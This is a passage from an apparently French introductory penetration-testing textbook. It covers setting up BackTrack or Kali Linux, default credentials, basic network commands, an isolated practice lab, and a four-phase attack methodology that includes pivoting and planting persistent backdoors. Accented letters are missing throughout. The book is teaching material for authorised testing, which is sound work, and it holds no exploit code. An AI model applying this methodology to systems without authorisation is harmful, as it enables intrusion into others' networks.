Parmi les distributions les plus connues adaptes aux tests dintrusion, il
existe BackTrack. Elle reprsente votre guichet unique pour
lapprentissage du hacking et la mise en place de tests dintrusion.
BackTrack Linux me fait penser cette scne du premier pisode de
Matrix o Tank demande Neo : "Alors, de quoi tas besoin, part dun
miracle ?" Neo rplique alors : "Des armes, un maximum darmes." ce
moment du film, de nombreux rteliers darmes apparaissent. Tous les
types darmes imaginables sont proposs Neo et Trinity : des pistolets,
des fusils, des fusils de chasse, des semi-automatiques, des automatiques,
des explosifs et dautres encore. Lorsquils dmarrent BackTrack ou
Kali, les dbutants se trouvent dans la mme situation : des outils, un
maximum doutils.
BackTrack Linux et Kali Linux sont le rve ralis de tout hacker. Ces
distributions ont t conues pour les testeurs dintrusion. Elles viennent
avec des centaines doutils de scurit dj installs, configurs et prts
lemploi. Qui plus est, elles sont gratuites ! Vous pouvez en tlcharger
un exemplaire ladresse http://www.backtrack-linux.org/downloads/.
Info
Au printemps 2013, les membres dOffensive Security ont sorti une
version redfinie et revue de BackTrack appele "Kali Linux". Elle est
galement disponible gratuitement et est fournie avec de nombreux outils
pour laudit de la scurit. Vous pouvez la tlcharger ladresse
http://www.kali.org.
Si vous dbutez dans les tests dintrusion et le hacking, les diffrences
entre BackTrack et Kali risquent dtre confuses. Toutefois, pour
apprendre les bases et exprimenter les exemples de cet ouvrage, les
deux distributions feront laffaire. Kali Linux sera parfois plus facile
utiliser que BackTrack car tous les outils sont installs de faon pouvoir
tre excuts depuis nimporte quel rpertoire. Il suffit douvrir une
fentre de terminal et de saisir le nom de loutil, avec les options
souhaites. Si vous utilisez BackTrack, il vous faudra souvent aller dans
le rpertoire qui correspond un outil avant de pouvoir lancer celui-ci.
Si ces explications vous laissent un tantinet perplexe, ne vous inquitez
pas. Nous y reviendrons progressivement dans les chapitres suivants. Pour
le moment, vous devez simplement choisir entre Kali et BackTrack.
Quelle que soit votre dcision, elle sera de toute faon bonne.
En vous rendant sur ce site, vous aurez le choix entre un fichier .iso et
une image VMware. Si vous choisissez le fichier .iso, vous devrez le
graver sur un DVD. Il vous suffira de placer ce DVD amorable dans le
lecteur et de redmarrer lordinateur. Dans certains cas, vous devrez
dabord modifier lordre de dmarrage dans le BIOS afin de donner la
priorit au lecteur optique.
Si vous choisissez de tlcharger limage VMware, vous aurez besoin
dun logiciel capable de louvrir et de la dployer ou de lexcuter. Par
chance, il existe plusieurs outils pour y parvenir. En fonction de vos
prfrences, vous pouvez opter pour VMware Player de VMware,
VirtualBox dOracle ou Virtual PC de Microsoft. Si ces propositions ne
vous conviennent pas, il existe dautres logiciels capables dexcuter une
image VMware. Prenez simplement celui qui vous correspond.
Les trois solutions de virtualisation mentionnes sont disponibles
gratuitement et vous permettront dexcuter des images de machines
virtuelles. Vous devez simplement dcider de la version employer.
Dans cet ouvrage, nous utilisons principalement limage VMware de
BackTrack et lapplication VMware Player. Au moment de lcriture de
ces lignes, VMware Player est disponible ladresse
http://www.vmware.com/fr/products/player/.
Si vous ne savez pas quelle option choisir, nous vous conseillons dopter
pour la solution VMware. Non seulement cette technologie vaut la peine
dtre matrise, mais les machines virtuelles vous permettront galement
de mettre en place un laboratoire complet pour les tests dintrusion en
utilisant une seule machine. Sil sagit dun ordinateur portable, vous
pourrez mener vos expriences partir dun laboratoire de voyage,
tout moment et en tout lieu.
Si vous dcidez de lancer BackTrack partir dun DVD amorable, vous
verrez apparatre un menu initial que vous devez examiner attentivement
car il propose plusieurs articles diffrents. Si vous rencontrez des
difficults faire dmarrer BackTrack, choisissez BackTrack Debug -
Safe Mode. Le menu propose plusieurs autres options, mais elles sortent
du cadre de cet ouvrage. Pour slectionner une option, servez-vous des
touches de direction puis validez en appuyant sur Entre. La Figure 1.1
montre un exemple dcran de dmarrage de Kali (en haut) et de
BackTrack (en bas).
Figure 1.1
Les options du menu de dmarrage de Kali et de BackTrack.
Kali Linux fonctionne de faon comparable. Vous devez choisir entre le
tlchargement dune image ISO ( graver sur un DVD) et celui dune
image VMware dj configure. Quelle que soit la version slectionne,
vous pouvez simplement accepter loption par dfaut (en appuyant sur la
touche Entre), lorsque vous arrivez au menu GRUB de Kali Linux.
BackTrack ou Kali nest pas indispensable la lecture de cet ouvrage ni
lapprentissage des bases du hacking. Nimporte quelle version de
Linux fera laffaire. Toutefois, en utilisant ces distributions, tous les outils
ncessaires sont dj installs. Si vous optez pour une autre version de
Linux, vous devrez commencer par les installer avant de lire les
chapitres. Par ailleurs, puisque cet ouvrage se focalise sur les bases, la
version de BackTrack ou de Kali na pas dimportance. Tous les outils
que nous prsenterons et emploierons dans cet ouvrage sont disponibles
dans toutes les versions.
Machine dattaque
Que vous excutiez BackTrack ou Kali partir dune machine virtuelle
ou dun DVD amorable, le chargement du systme initial se termine par
une invite douverture de session. Le nom dutilisateur par dfaut est root,
avec le mot de passe toor.
Ce nom dutilisateur et ce mot de passe par dfaut sont utiliss depuis la
premire version de BackTrack ; ils seront certainement conservs dans
les futures versions. Aprs que vous avez entr ces informations, vous
devez voir apparatre linvite root@bt:~#. Bien que vous puissiez
excuter la plupart des outils dcrits dans cet ouvrage directement
partir de la console, les dbutants prfreront souvent utiliser le systme
X Window. Pour dmarrer cet environnement graphique, saisissez la
commande suivante linvite root@bt~# :
startx
Appuyez sur la touche Entre pour lancer le chargement de X Window.
Cet environnement doit tre vaguement familier la plupart des
utilisateurs. Au terme de son chargement, vous obtenez un bureau, des
icnes, une barre de tches et une zone de notification. Comme dans
Microsoft Windows, vous pouvez interagir avec ces lments en
dplaant le pointeur de la souris et en cliquant sur lobjet concern. Si
vous avez adopt Kali Linux, louverture de session russie avec le nom
dutilisateur et le mot de passe par dfaut dclenche automatiquement le
chargement de lenvironnement graphique de bureau GNOME.
Les programmes utiliss dans cet ouvrage seront principalement excuts
depuis la console. Avec la plupart des distributions Linux, vous pouvez
ouvrir celle-ci en utilisant le raccourci clavier Ctrl+Alt+T. En gnral,
les systmes proposent galement une icne qui reprsente une bote
noire avec les caractres >_ lintrieur. Cette icne se trouve dans la
barre des tches ou le menu du systme. La Figure 1.2 illustre cette icne
dans GNOME.
Figure 1.2
Licne qui permet douvrir une fentre de terminal.
Contrairement Microsoft Windows et de nombreuses distributions
Linux modernes, certaines versions de BackTrack viennent avec un
rseau non configur. Il sagit dun choix de conception. En tant que
testeurs dintrusion, nous essayons souvent de rester discrets ou invisibles.
Un ordinateur qui dmarre en envoyant immdiatement des requtes
rseau pour obtenir un serveur DHCP et une adresse IP revient crier :
"Coucou, coucou, je suis l !!!" Pour viter ce problme, les interfaces
rseau de lordinateur BackTrack sont dsactives par dfaut.
Pour activer le rseau, la solution la plus simple passe par la console.
Ouvrez une fentre de terminal en cliquant sur licne indique la
Figure 1.2 ou, si vous utilisez BackTrack, appuyez sur Ctrl+Alt+T.
Ensuite, dans la console, excutez la commande suivante :
ifconfig a
Elle numre les interfaces disponibles sur la machine. En gnral, vous
verrez au moins les interfaces eth0 et lo. Linterface lo correspond la
boucle de retour. Linterface eth0 dsigne la premire carte Ethernet. En
fonction du matriel, vous verrez des interfaces supplmentaires ou des
numros dinterface diffrents. Dans le cas dune machine virtuelle
BackTrack, linterface principale sera gnralement eth0.
Pour activer la carte rseau, saisissez la commande suivante :
ifconfig eth0 up
ifconfig est une commande Linux qui signifie "je souhaite configurer une
interface rseau". Nous lavons dj indiqu, eth0 correspond au premier
dispositif rseau du systme (noubliez pas que les ordinateurs comptent
souvent partir de 0, non de 1). Le mot cl up signifie que linterface doit
tre active. Autrement dit, la commande signifie "je veux activer la
premire interface".
Puisque linterface est prsent active, nous devons obtenir une adresse
IP. Pour cela, il existe deux faons de procder. La premire consiste
affecter manuellement ladresse en lindiquant la fin de la commande
prcdente. Par exemple, pour attribuer ladresse IP 192.168.1.23 la
carte rseau, nous saisissons la commande suivante :
ifconfig eth0 up 192.168.1.23
Lordinateur possde alors une adresse IP, mais nous devons prciser une
passerelle et un serveur DNS (Domain Name System). Une simple
recherche Google des termes "configuration interface rseau linux"
donnera des rsultats qui expliquent comment procder. Pour vrifier la
validit de votre configuration, excutez la commande suivante dans une
fentre de terminal :
ifconfig -a
Les paramtres actuels des interfaces rseau saffichent alors. Puisque
ce guide est destin aux dbutants, et pour des questions de simplicit,
nous supposons que la discrtion nest pas un aspect important, tout au
moins pour le moment. Dans ce cas, la solution la plus simple pour obtenir
une adresse passe par DHCP. Pour cela, il suffit dexcuter la commande
suivante :
dhclient
Notez que dhclient tentera dattribuer automatiquement une adresse IP
la carte rseau et de configurer tous les lments requis, notamment les
informations du DNS de la passerelle. Si vous excutez Kali ou
BackTrack Linux dans VMware Player, le logiciel VMware jouera le
rle de serveur DHCP.
Que ladresse soit obtenue de manire dynamique avec DHCP ou quelle
soit affecte de manire statique, la machine doit prsent avoir sa
propre adresse IP. Dans le cas de Kali Linux, le rseau est prconfigur.
Cependant, en cas de difficults, la section prcdente pourra se rvler
utile.
Enfin, nous devons apprendre teindre BackTrack ou Kali. Comme
souvent sous Linux, il existe plusieurs manires dy parvenir. Lune des
plus simples consiste excuter la commande suivante dans une fentre
de terminal :
poweroff
Attention
Il est toujours prfrable dteindre ou de redmarrer la machine
dattaque lorsque vous avez achev un test dintrusion. Vous pouvez
galement excuter shutdown ou shutdown now pour arrter votre
machine. Cette bonne habitude vite de laisser par inadvertance un outil
en cours dexcution ou denvoyer du trafic sur votre rseau alors que
vous ntes pas devant lordinateur.
Vous pouvez galement remplacer poweroff par la commande reboot
afin de redmarrer le systme au lieu de larrter.
Avant daller plus loin, prenez le temps de revoir les tapes dcrites
jusqu prsent et de les mettre en pratique, notamment :
dmarrer et arrter BackTrack ou Kali ;
ouvrir une session avec le nom dutilisateur et le mot de passe
par dfaut ;
lancer lenvironnement graphique X Window ;
afficher toutes les interfaces rseau de lordinateur ;
activer linterface rseau souhaite ;
attribuer manuellement une adresse IP ;
examiner ladresse IP attribue manuellement ;
attribuer une adresse IP laide de DHCP ;
examiner ladresse IP attribue dynamiquement ;
redmarrer la machine depuis linterface en ligne de
commande ;
arrter la machine depuis linterface en ligne de commande.
Mettre en place un laboratoire de hacking
Un hacker thique doit disposer dun endroit o pratiquer et dcouvrir.
La plupart des dbutants se demandent comment apprendre utiliser les
outils de hacking sans violer la loi ni attaquer des cibles interdites. En
gnral, la solution consiste crer son propre "laboratoire de hacking".
Il sagit dun environnement isol du trafic rseau, et les attaques nont
aucune chance de sortir ni datteindre des cibles interdites ou
accidentelles. Dans cet environnement, vous avez toute libert pour
tudier les diffrents outils et techniques sans craindre que du trafic ou
des attaques ne sortent de votre rseau. Le laboratoire comprend au
moins deux machines : celle de lassaillant et celle de la victime. Il est
galement possible de dployer simultanment plusieurs victimes afin de
simuler un rseau plus raliste.
Il est important que lutilisation et la configuration du laboratoire de
hacking soient correctes car il reprsente lune des meilleures faons de
se former ces techniques par lexprimentation. Lapprentissage et la
matrise des bases des tests dintrusion se passent de la mme manire.
Le seul point crucial du laboratoire rside dans lisolation du rseau.
Vous devez le configurer afin quil soit impossible au trafic de sortir du
rseau. Tout le monde peut faire des erreurs et se tromper dans la saisie
des adresses IP. Rien nest plus facile que dinverser des chiffres dans
une adresse IP, mais cette simple erreur peut avoir des consquences
catastrophiques pour vous et votre avenir. Il serait dommage (pour ne pas
dire illgal) deffectuer des scans et des attaques sur une cible que vous
pensez prsente dans votre laboratoire ladresse 173.16.1.1 et de
dcouvrir ensuite que vous aviez saisi ladresse 137.16.1.1.
Pour mettre en place un environnement isol, lapproche la plus simple et
la plus efficace consiste dbrancher physiquement votre rseau
dInternet. Si vous utilisez des machines physiques, il est prfrable
dopter pour une connexion Ethernet filaire et des commutateurs pour
router le trafic. Noubliez pas de vrifier soigneusement que toutes les
interfaces sans fil sont dsactives. Avant de poursuivre, inspectez et
examinez toujours votre rseau la recherche de fuites potentielles.
La cration dun laboratoire de hacking autour de machines physiques est
une solution viable, mais les machines virtuelles apporteront plusieurs
avantages. Tout dabord, en raison de la puissance des processeurs
actuels, il est possible de crer et de configurer un petit laboratoire sur
une seule machine ou un ordinateur portable. Dans la plupart des cas, une
machine de gamme intermdiaire est capable dexcuter simultanment
deux ou trois machines virtuelles car les cibles peuvent avoir une
configuration rduite. Mme un ordinateur portable est en mesure de
supporter deux machines virtuelles. Un tel choix aura lavantage de
rendre votre laboratoire portable. Le faible cot des disques de stockage
externes permet de crer des centaines de machines virtuelles sur un
mme disque, de les transporter et de les activer en fonction des besoins.
Si vous souhaitez pratiquer ou explorer un nouvel outil, lancez
simplement BackTrack, Kali ou votre machine dattaque, et dployez une
machine virtuelle sous forme de cible. La mise en place dun laboratoire
de ce type vous permet de brancher rapidement diffrents systmes
dexploitation et configurations et de jouer avec.
Grce aux machines virtuelles, il est galement trs simple disoler
lintgralit du systme. Pour cela, il suffit de dsactiver la carte sans fil
et de dbrancher le cble rseau. Si les adresses rseau ont t attribues
comme nous lavons expliqu prcdemment, la machine physique et les
machines virtuelles resteront en mesure de communiquer les unes avec
les autres et vous serez certain quaucun trafic dattaque ne sortira de
lordinateur physique.
Un test dintrusion est en gnral un processus destructif. Un grand
nombre doutils que nous utiliserons et les exploits que nous raliserons
peuvent provoquer des dommages et conduire au dysfonctionnement des
systmes. Dans certains cas, il est plus facile de rinstaller le systme
dexploitation ou un programme que de tenter une rparation. Sur ce
point, les machines virtuelles prsentent un vritable avantage. Au lieu de
rinstaller physiquement un programme comme SQL Server ou un
systme dexploitation complet, la machine virtuelle peut tre aisment
rinitialise ou restaure dans sa configuration dorigine.
Pour suivre les exemples de cet ouvrage, vous devrez avoir accs trois
machines virtuelles :
Kali ou BackTrack Linux. Les captures dcran, les
exemples et les chemins donns dans cet ouvrage se fondent
sur Kali Linux, mais BackTrack 5 et ses versions antrieures
feront galement laffaire. Si vous avez choisi BackTrack 5,
vous devrez dterminer le chemin appropri pour lancer
loutil prsent. Vous en trouverez la plupart dans le menu
Applications > BackTrack du bureau ou dans le rpertoire
/pentest depuis une fentre de terminal. Que vous ayez
adopt BackTrack ou Kali, cette machine virtuelle vous
servira dordinateur dattaque pour chaque exercice.
Metasploitable. Metasploitable est une machine virtuelle
Linux que sa configuration rend volontairement non
scurise. Vous pouvez la tlcharger partir du site
SourceForge ladresse
http://sourceforge.net/projects/metasploitable/. Metasploitable
nous servira de cible lorsque nous prsenterons lexploitation.
Windows XP. Mme si la plupart des exercices de cet
ouvrage sattaqueront Metasploitable, Windows XP (de
prfrence sans aucun Service Pack) constituera galement
une cible. En raison de son vaste dploiement et de sa
popularit passe, il nest pas trs difficile den obtenir une
copie valide. Une installation par dfaut de Windows XP fera
une excellente cible lors de votre apprentissage des
techniques mises en place dans le hacking et les tests
dintrusion.
Pour lintgralit de cet ouvrage, chacun des systmes mentionns
prcdemment sera dploy sous forme dune machine virtuelle sur un
mme ordinateur. Le rseau sera configur de manire que toutes les
machines se trouvent sur le mme sous-rseau et puissent communiquer
les unes avec les autres.
Attention
Si vous ne pouvez pas mettre la main sur une machine virtuelle
Windows XP, vous pouvez toujours suivre de nombreux exemples en
utilisant Metasploitable. Une autre solution consiste configurer votre
machine sous BackTrack (ou Kali) et lutiliser comme cible.
Phases dun test dintrusion
linstar de nombreuses procdures, un test dintrusion peut tre
dcompos en une suite dtapes ou phases. Lorsquelles sont runies,
ces tapes forment une mthodologie complte pour mener bien un test
dintrusion. Lexamen attentif des rapports de rponse des incidents non
classifis ou des divulgations de failles soutient lide que la plupart des
hackers suivent galement une procdure lors de lattaque dune cible.
La mise en place dune approche planifie est importante car elle permet
aux testeurs dintrusion non seulement de se focaliser et davancer mais
galement dutiliser les rsultats ou la sortie de chaque phase dans les
suivantes.
Ltablissement dune mthodologie permet de dcomposer une
procdure complexe en une suite de tches grables de taille plus rduite.
Comprendre et suivre une mthodologie constituent un pas important vers
la matrise des bases du hacking. En fonction des ouvrages que vous
consultez ou des formations que vous suivez, cette mthodologie peut
comprendre entre quatre et sept phases. Mme si leur nom et leur nombre
varient, le point important est que les tapes du processus permettent
dobtenir une vue densemble complte du test dintrusion. Par exemple,
certaines mthodologies emploient lexpression "recueil dinformations",
tandis que dautres dsignent cette phase sous le terme "reconnaissance".
Dans le cadre de cet ouvrage, nous nous focaliserons sur les activits
associes une phase plutt que sur son nom. Lorsque vous matriserez
les bases, vous pourrez tudier les diffrentes mthodologies des tests
dintrusion et choisir celle qui vous convient.
Pour faire simple, nous allons prsenter les tests dintrusion dans une
procdure en quatre phases. Si vous recherchez et examinez dautres
mthodologies (ce travail est galement important), vous trouverez des
procdures qui se dcomposent en un nombre dtapes infrieur ou
suprieur la ntre, avec des noms diffrents pour chaque phase. Il est
important de comprendre que, si la terminologie prcise peut varier, la
plupart des mthodologies de test dintrusion crdibles couvrent les
mmes aspects.
Il existe toutefois une exception cette rgle : la phase finale de
nombreuses mthodologies de hacking se nomme "masquage",
"camouflage des traces" ou "effacement de preuves". Puisque cet
ouvrage se concentre sur les bases, cette phase ne sera pas traite.
Lorsque vous matriserez ces bases, vous pourrez la dcouvrir par vous-
mme.
La suite de cet ouvrage examinera et prsentera les tapes suivantes :
reconnaissance, scan, exploitation et postexploitation (ou maintien
daccs). Si cela vous aide, vous pouvez visualiser ces tapes sous forme
dun triangle invers (voir Figure 1.3). Le triangle est invers car les
rsultats des premires phases sont trs larges. Plus nous avanons vers la
phase finale, plus nous obtenons des dtails prcis.
Figure 1.3
Mthodologie des tests dintrusion en pente douce (ZEH, Zero Entry
Hacking).
Le triangle invers est parfaitement adapt car il reprsente le passage
de la gnralit la spcificit. Par exemple, au cours de la phase de
reconnaissance, il est important de mettre en uvre une solution aussi
large que possible. Chaque dtail et chaque lment dinformation sur
notre cible est recueilli et enregistr. Dans le monde des tests dintrusion,
vous trouverez de nombreux exemples dans lesquels un lment
dinformation dapparence triviale avait t collect lors de la phase
initiale, pour se rvler ensuite un composant crucial de la russite dun
exploit et de lobtention dun accs au systme. Au cours des phases
ultrieures, nous commencerons rduire le champ dinvestigation et
nous focaliserons sur des dtails plus prcis de la cible. O se trouve-t-
elle ? Quelle est son adresse IP ? Quel est son systme dexploitation ?
Quels services et quelles versions des logiciels excute-t-elle ? Vous le
constatez, chacune de ces questions devient de plus en plus prcise. Il est
important de noter que poser ces questions et y rpondre doit se faire
dans un ordre prcis.
Info
Avec lamlioration de vos connaissances, vous commencerez retirer
les scanners de vulnrabilit de votre mthodologie dattaque. Au dbut,
il est important den comprendre la bonne utilisation car ils peuvent vous
aider mettre les choses en place et identifier la forme que prennent
les vulnrabilits. Cependant, votre exprience grandissant, ces outils
risquent dentraver la "mentalit de hacker" que vous essayez de
perfectionner. Une dpendance permanente et exclusive avec ce type
doutils risque de freiner votre volution et de vous empcher de
comprendre comment fonctionnent les vulnrabilits et comment les
identifier. La plupart des testeurs dintrusion confirms que je connais se
servent des scanners de vulnrabilit uniquement lorsquils nont pas
dalternative.
Cependant, puisque cet ouvrage veut enseigner les bases, nous
prsenterons les scanners de vulnrabilit et leur usage appropri dans la
mthodologie ZEH.
Il est galement important de comprendre lordre des tapes. En effet, le
rsultat ou la sortie dune tape est utilis dans la suivante. Il ne suffit
donc pas dexcuter simplement les outils de scurit dcrits dans cet
ouvrage. Il est vital de comprendre lordre dans lequel ils sont utiliss
pour raliser un test dintrusion complet et raliste.
Par exemple, de nombreux dbutants sautent la phase de reconnaissance
pour aller directement lexploitation de leur cible. Si les phases 1 et 2 ne
sont pas acheves, la liste des cibles et les vecteurs dattaque sur chacune
delles sen trouveront considrablement rduits. Autrement dit, vous
naurez quune corde votre arc. videmment, vous pourrez
impressionner vos amis et votre famille en matrisant un seul outil, mais
ces personnes ne sont pas des professionnels de la scurit qui prennent
leur travail au srieux.
Les novices pourront galement trouver utile de visualiser les tapes sous
forme dun cercle. Aujourdhui, il est trs rare de trouver des systmes
critiques accessibles directement sur Internet. En gnral, les testeurs
doivent sintroduire dans une suite de cibles lies pour trouver un chemin
vers la cible initiale. Dans ce cas, chaque tape est reproduite plusieurs
reprises. Le processus de compromission dune machine et son utilisation
pour compromettre ensuite une autre machine sont appels pivoter. Les
testeurs dintrusion ont souvent besoin de pivoter travers plusieurs
ordinateurs ou rseaux avant datteindre la cible finale. La Figure 1.4
illustre notre mthodologie sous forme dune procdure cyclique.
Figure 1.4
Reprsentation cyclique de la mthodologie ZEH.
Examinons brivement chacune des quatre phases de notre mthodologie
afin que vous en compreniez parfaitement le sens. La premire tape de
tout test dintrusion est une "reconnaissance". Elle a pour objectif le
recueil dinformations sur la cible. Nous lavons mentionn
prcdemment, plus nous disposons dinformations sur la cible, plus nos
chances de succs lors des tapes ultrieures sont leves. La
reconnaissance fait lobjet du Chapitre 2.
Quelles que soient les donnes dont nous disposions au dpart, au terme
de la phase de reconnaissance nous devons possder une liste dadresses
IP scanner. La deuxime tape de notre mthodologie se dcompose en
deux activits distinctes. La premire correspond au scan des ports.
Aprs que cette opration est termine, nous avons une liste des ports
ouverts et des services potentiels qui sexcutent sur chaque cible. La
seconde activit concerne le scan des vulnrabilits. Il sagit de localiser
et didentifier des faiblesses prcises dans les logiciels et les services qui
sexcutent sur les cibles.
Avec les rsultats fournis par la deuxime phase, nous passons la phase
dexploitation. En sachant prcisment quels ports sont ouverts sur la
cible, quels services sexcutent sur ces ports et quelles vulnrabilits
sont associes ces services, nous pouvons lancer une attaque. Cette
phase correspond ce que la plupart des dbutants associent au hacking
"rel". Lexploitation peut impliquer nombre de techniques, doutils et de
codes. Nous prsentons la plupart des outils rpandus au Chapitre 4.
Lexploitation a pour objectif final dobtenir un accs administrateur
(contrle total) sur la machine cible.
Attention
Lexploitation peut avoir lieu localement ou distance. Un exploit local
exige de lassaillant un accs physique lordinateur. Un exploit
distance se passe au travers des rseaux et des systmes, lorsque
lassaillant ne peut pas toucher physiquement la cible. Cet ouvrage
dveloppe les deux types dattaques. Quil sagisse dune attaque locale
ou distante, lobjectif final reste gnralement lobtention dun accs
administrateur total, qui permet au hacker de contrler intgralement la
machine cible. De nouveaux programmes peuvent ensuite tre installs,
des outils de dfense tre dsactivs, des documents confidentiels tre
copis, modifis ou supprims, des paramtres de scurit tre modifis,
etc.
La dernire phase tudie sera la postexploitation et le maintien daccs.
Trs souvent, les charges envoyes lors de la phase dexploitation
donnent un accs uniquement temporaire au systme. Nous devons donc
crer une porte drobe permanente sur ce systme. Nous disposerons
alors dun accs administrateur qui survivra la fermeture des
programmes et mme aux redmarrages de lordinateur. En tant que
hacker thique, nous devons faire trs attention lors de lutilisation et de
la mise en uvre de cette tape. Nous verrons comment la mener bien
et prsenterons les implications thiques de lutilisation dune porte
drobe ou dun logiciel de contrle distance.
Bien quelle ne constitue pas formellement une tape de la mthodologie,
lactivit finale (et peut-tre la plus importante) de chaque test dintrusion
est la rdaction du rapport. Quels que soient le temps et la planification
consacrs au test dintrusion, le client jugera souvent votre travail et votre
efficacit sur la base de votre rapport. Il doit comprendre toutes les
informations pertinentes dcouvertes au cours du test, expliquer en dtail
comment il a t men et dcrire les oprations qui ont t effectues.
Lorsque cest possible, les mesures dattnuation des risques et les
solutions aux problmes de scurit dcouverts doivent tre prsentes.
Enfin, tout rapport doit comprendre une synthse. Son objectif est de
donner sur une ou deux pages une vue densemble non technique des
dcouvertes. Elle doit souligner et rsumer brivement les problmes
critiques identifis par le test. Elle doit pouvoir tre comprise par le
personnel technique et non technique. Elle ne doit pas donner de dtails
techniques, qui font lobjet du rapport dtaill.
Info
PTES (Penetration Testing Execution Standard) sera une ressource
fantastique si vous recherchez une mthodologie plus rigoureuse et plus
dtaille. Vous y trouverez des recommandations techniques qui
intresseront les professionnels de la scurit, ainsi quun framework et
un langage commun qui profiteront la communaut mtier. Pour de plus
amples informations, rendez-vous sur le site dadresse
http://www.pentest-standard.org.
Et ensuite
Sachez quil existe plusieurs alternatives Kali et BackTrack. Tous les
exemples de cet ouvrage devraient fonctionner avec chacune des
distributions daudit de la scurit mentionnes ci-aprs. Blackbuntu est
une distribution de scurit fonde sur Ubuntu. Elle bnficie dune
communaut conviviale, dun trs bon support et dun dveloppement
actif. Backbox est une autre distribution pour les tests dintrusion fonde
sur Ubuntu. Elle propose une interface lgre et soigne, avec de
nombreux outils de scurit dj installs. Matriux est comparable
BackTrack, mais elle comprend galement un rpertoire de binaires pour
Windows qui peuvent tre utiliss directement depuis ce type de machine.
Fedora Security Spin est une collection doutils de scurit qui compltent
la distribution de Fedora. KATANA est un DVD amorable qui regroupe
diffrents outils et distributions. Enfin, vous pouvez tudier la distribution
STD classique, ainsi que Pentoo, NodeZero et SamuriWTF. Il existe de
nombreuses autres distributions Linux pour les tests dintrusion ; une
recherche Google sur les termes "Linux Penetration Testing Distributions"
produira un grand nombre de rsultats. Vous pouvez galement prendre
le temps de construire et de personnaliser votre propre distribution Linux
en collectant et en installant les outils que vous rencontrez et utilisez au
cours de vos tests.
En rsum
Ce chapitre a prsent les concepts de test dintrusion et de hacking
comme une manire de scuriser les systmes. Une mthodologie
adapte un apprentissage de base a t prsente et explique. Elle
comprend quatre phases : reconnaissance, scan, exploitation et
postexploitation. Ce chapitre a galement dcrit les diffrents rles et
acteurs que lon rencontre dans le monde du hacking. Il a pos les bases
de lutilisation de la distribution BackTrack Linux, notamment son
dmarrage, louverture dune session, le lancement de X Window,
lobtention dune adresse IP et son arrt. Kali Linux, une version revue
de BackTrack, a galement t prsente. La cration et lutilisation dun
laboratoire de tests dintrusion ont t exposes. Les contraintes
particulires, qui vous permettent de pratiquer vos connaissances dans un
environnement scuris et isol, et de suivre les exemples de cet ouvrage,
ont t numres. Le chapitre sest termin par des dtails sur les
alternatives Kali et BackTrack Linux, que le lecteur pourra tudier.
2
Reconnaissance
Introduction
Les personnes qui participent aux ateliers ou aux formations sur le
hacking ont en gnral des connaissances de base sur quelques outils de
scurit. Elles ont souvent employ un scanner de ports pour explorer un
systme ou ont pu se servir de Wireshark pour tudier un trafic rseau.
Certaines se sont mme sans doute amuses avec des outils dexploitation
comme Metasploit. Malheureusement, la plupart des dbutants ne
comprennent pas la place de ces diffrents outils dans le contexte global
dun test dintrusion. Leurs connaissances sont donc incompltes. En
suivant une mthodologie, vous respectez un plan et savez comment
avancer.
Pour souligner limportance de la mthodologie, il peut tre bon de
dcrire un scnario qui illustre la fois lintrt de cette tape et les
bnfices que lon peut tirer du suivi dune mthodologie complte lors
dun test dintrusion.
Supposons que vous soyez un testeur dintrusion thique qui travaille
pour une socit de scurit. Votre chef vient vous voir dans votre
bureau et vous tend une feuille de papier : "Je viens davoir le PDG
de cette entreprise au tlphone. Il veut que mon meilleur testeur
dintrusion, cest--dire vous, intervienne sur sa socit. Notre
service juridique va vous envoyer un courrier lectronique pour
confirmer que nous avons toutes les autorisations et les garanties
appropries." Vous hochez la tte pour accepter ce travail. Il sort de
votre bureau. Vous jetez un il la feuille de papier, sur laquelle un
seul mot est crit : Syngress. Vous navez jamais entendu parler de
cette socit et le document ne donne aucune autre information.
Que faire ?
Tout travail doit commencer par une recherche. Mieux vous serez
prpar pour une opration, plus vous aurez de chances de russir. Les
crateurs de BackTrack et de Kali Linux aiment citer Abraham Lincoln :
"Que lon me donne six heures pour couper un arbre, jen passerai quatre
prparer ma hache." Il sagit dune parfaite introduction aux tests
dintrusion et la phase de reconnaissance.
La reconnaissance, ou recueil dinformations, est probablement la plus
importante des quatre phases que nous allons prsenter. Plus vous
passerez du temps collecter des informations sur votre cible, plus les
phases suivantes auront une chance de russir. Pourtant, la
reconnaissance est galement lune des tapes les plus ngliges, sous-
utilises et incomprises dans les mthodologies actuelles des tests
dintrusion.
Cette phase est sans doute nglige car son concept nest jamais
formellement prsent aux dbutants, tout comme ses bnfices ou
limportance dune bonne collecte dinformations pour les phases
suivantes. Par ailleurs, il sagit de la phase la moins technique et la moins
excitante. Les novices en hacking ont souvent tendance la considrer
comme ennuyeuse et peu stimulante. Rien nest plus loign de la vrit.
Sil est exact que peu de bons outils automatiss permettent de mener
bien une reconnaissance, la matrise de ses bases permet de voir le
monde sous un autre jour. Un collecteur dinformations efficace est
constitu parts gales dun hacker, dun ingnieur social et dun
dtective priv. Labsence de rgles de conduite parfaitement dfinies
distingue cette phase des autres. Cela contraste totalement avec les autres
tapes de notre mthodologie. Par exemple, lorsque nous prsenterons les
scans au Chapitre 3, vous dcouvrirez que leur mise en place sur une
cible se fait en suivant scrupuleusement une squence dtapes
identifies.
Apprendre mener une reconnaissance numrique donne des
comptences valorisantes pour quiconque vit dans le monde actuel. Pour
les testeurs dintrusion et les hackers, cela na pas de prix. Le monde des
tests dintrusion regorge dexemples et dhistoires sur des testeurs qui ont
pu compromettre un rseau ou un systme simplement grce la
reconnaissance effectue.
Prenons lexemple de deux criminels diffrents qui planifient le braquage
dune banque. Le premier achte une arme et pntre dans la banque en
criant : "Haut les mains, cest un hold-up !" Vous imaginez sans mal le
chaos qui peut sensuivre et, mme si le voleur incomptent parvient
senfuir, il ne faudra pas longtemps la police pour le retrouver, larrter
et lenvoyer en prison. loppos, prenons nimporte quel film
hollywoodien dans lequel les criminels passent plusieurs mois planifier,
simuler, organiser et examiner tous les dtails avant leur casse. Ils
prennent du temps acheter discrtement des armes, prvoir des
itinraires de repli et tudier les plans du btiment. Ils se rendent dans la
banque pour reprer les camras de scurit, pour noter la place des
gardes et dterminer quel moment la banque dispose du plus dargent et
est la plus vulnrable. Ces criminels ont clairement plus de chances que le
premier de repartir avec largent.
La diffrence entre ces deux modes opratoires rside videmment dans
la prparation. Le hacking et les tests dintrusion demandent galement
une prparation il ne suffit pas dobtenir une adresse IP et de lancer
Metasploit (cette approche est possible mais sera probablement peu
efficace).
Revenons lexemple donn au dbut de ce chapitre. Vous devez
effectuer un test dintrusion mais vous disposez de trs peu
dinformations. Vous ne connaissez que le nom de la socit. La question
